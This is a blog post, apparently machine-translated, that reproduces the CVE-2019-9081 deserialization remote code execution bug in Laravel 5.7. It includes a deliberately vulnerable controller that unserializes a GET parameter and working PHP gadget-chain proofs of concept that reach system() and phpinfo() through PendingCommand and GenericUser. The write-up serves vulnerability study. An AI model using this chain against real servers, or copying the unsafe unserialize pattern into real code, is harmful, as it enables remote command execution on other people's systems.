Cve-2019-9081 -- replay of deserialization vulnerability in laravel 5.7

Posted by myys on Tue, 28 Sep 2021 08:24:21 +0200

Catalogue

Introduction:

Environment deployment:

analysis:

Reference article:

Introduction:

Like yii, Laravel is also a concise and elegant PHP web development framework (PHP Web Framework).

  No suitable trigger point was found in the laravel framework, so the cms for secondary development based on the laravel v5.7 framework needs to be audited again to find a controllable deserialization point in order to trigger the vulnerability.

Environment deployment:

Go to github to download the file:

https://github.com/laravel/laravel/tree/5.7

The downloaded file is placed in the WWW directory of phpstudy. Since there is no vendor directory, you need to execute the command in the root directory:

composer install

We need to construct a vulnerability demo for poc verification.  

  Construct a deserialization utilization point and add a route in routes/web.php:

Route::get('/unserialize',"UnserializeController@uns");

Write a controller UnserializeController.php file under App\Http\Controllers:  

<?php

namespace App\Http\Controllers;

class UnserializeController extends Controller
{
    public function uns(){
        if(isset($_GET['c'])){
            unserialize($_GET['c']);
        }else{
            highlight_file(__FILE__);
        }
        return "uns";
    }
}

analysis:

poc used:

<?php
namespace Illuminate\Foundation\Testing{

    use Illuminate\Auth\GenericUser;
    use Illuminate\Foundation\Application;

    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public $test;
        protected $app;
        public function __construct(){
            $this->command="system";
            $this->parameters[]="dir";
            $this->test=new GenericUser();
            $this->app=new Application();
        }
    }
}
namespace Illuminate\Foundation{
    class Application{
        protected $bindings = [];
        public function __construct(){
            $this->bindings=array(
                'Illuminate\Contracts\Console\Kernel'=>array(
                    'concrete'=>'Illuminate\Foundation\Application'
                )
            );
        }
    }
}
namespace Illuminate\Auth{
    class GenericUser
    {
        protected $attributes;
        public function __construct(){
            $this->attributes['expectedOutput']=['hello','world'];
            $this->attributes['expectedQuestions']=['hello','world'];
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

In the vendor/laravel/framework/src/Illuminate/Foundation/Testing folder of laravel v5.6 and laravel v5.7

It can be found that there is an additional PendingCommand.php file in v5.7. The main function of this file is to execute commands and obtain output content.

Check the contents of PendingCommand.php file and find:

The PendingCommand.php file defines the PendingCommand class, which exists__ destruct method, Daniel said__ destruct is always the best attack point for deserialization vulnerabilities. Because $this - > hasexecuted is false by default, you can directly enter the run method.

Follow up run() method:

In the comment at the top of the run method, Execute the command.

Found a line of code (destination code):

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

app, command and parameters are controllable,

  Then the attack idea is obvious. Trigger the execution of PendingCommand class through deserialization__ destruct destructor, and then call its run method to realize code execution.

$this->app;         //An instantiated class Illuminate\Foundation\Application
$this->test;        //An instantiated class, Illuminate\Auth\GenericUser, is used to return an array.
$this->command;     //php function to execute
$this->parameters;  //The parameter array('id ') of the php function to execute

  However, when entering the target code we need, we will go through $this - > mockconsoleoutput();

Follow up $this - > mockconsoleoutput():

  Use Mockery::mock to realize object simulation. You can't understand the code. Follow master feng to operate:

Construct poc first

<?php
namespace Illuminate\Foundation\Testing{
    class PendingCommand
    {
        protected $command;
        protected $parameters;
        public function __construct(){
            $this->command="phpinfo";
            $this->parameters[]="1";
        }
    }
}
namespace{

    use Illuminate\Foundation\Testing\PendingCommand;

    echo urlencode(serialize(new PendingCommand()));
}

report errors:

Trying to get property 'expectedOutput' of non-object

Click the breakpoint and find that it is the of the mockConsoleOutput() method. Here:

$mock = Mockery::mock(OutputStyle::class.'[askQuestion]', [
    (new ArrayInput($this->parameters)), $this->createABufferedOutputMock(),
]);

Follow up $this - > createbufferedoutputmock()

  Then use Mockery::mock to realize object simulation  , Others are not important. Look at the foreach. It is required to obtain the expectedOutput attribute in the $this - > test class and traverse the attribute. The reason for the error is that $this - > test does not have the expectedOutput attribute. Follow up this attribute and find that this attribute is in the trait InteractsWithConsole, and we can't instantiate the trait class. In other classes that we can instantiate, no class has the expectedOutput attribute. In addition, only some test classes have this attribute, So it's stuck here.

However, if we take a closer look at this code, we will find that our purpose is to get through this code and execute it smoothly without reporting errors and generating exceptions. All we need is a return content. As long as there is a return content to make the code enter the loop process, we can get through this code. We found that as long as we can return an array code, we can go on smoothly. At the same time, this - > test is controllable

And:  

When reading the value of an inaccessible property, __get()  Will be called.

  So we can use__ get magic method to return what we need. Full text search__ get() method

The Illuminate\Auth\GenericUser class is selected here

Address:

vendor/laravel/framework/src/Illuminate/Auth/GenericUser.php

  The attributes are controllable, so we can construct an array with $this - > attributes as the subscript and expectedOutput. When deserializing $this - > test, set it as GenericUser class. In this way, $this - > test - > expectedOutput is equal to GenericUser - > expectedOutput. Because GenericUser class has no expectedOutput variable, it will be called__ get() method. If $key='expectedOutput 'is called, an array with the subscript name expectedOutput in $this - > attributes will be returned$ The code of this - > createbufferedoutputmock() is also passed.

$this->attributes['expectedOutput']=['hello','world'];

Go back to the mockCOnsoleOuptput method of PendingCommand class:

  We found that the foreach code has a similar statement. Using the same bypass method as $this - > createbufferedoutputmock(), we can define an array labeled expectedQuestions in $this - > attributes.  

$this->attributes['expectedQuestions']=['hello','world'];

In this way, we can successfully get through $this - > mockconsoleoutput().

Back to our purpose Code:

$exitCode = $this->app[Kernel::class]->call($this->command, $this->parameters);

The rest of the knowledge about this - > app [kernel:: class] is not quite understood yet. We will solve it next time:

You can also use the DefaultGenerator class in DefaultGenerator.php when you go through the $this - > createbufferedoutputmock () code.

Address:

vendor/fzaninotto/faker/src/Faker/DefaultGenerator.php

Because $default is controllable, we can construct an array with $this - > Default subscript name expectedOutput. Set $this - > test as the DefaultGenerator class when deserializing. In this way, $this - > test - > expectedOutput is equal to DefaultGenerator - > expectedOutput. Because the DefaultGenerator class has no expectedOutput variable, it will call it__ get() method. If $attribute='expectedOutput 'is called, an array with the subscript name expectedOutput in $this - > default will be returned$ The code of this - > createbufferedoutputmock() is also passed.

Reference article:

laravelv5.7 deserialization rce(CVE-2019-9081) | WisdomTree's Blog

Recurrence of laravel 5.7 deserialization vulnerability_ feng's blog - CSDN blog

Analysis of laravel 5.7 deserialization RCE vulnerability_ Zhangchensong 168 blog - CSDN blog_ Laravel vulnerability

Topics: cve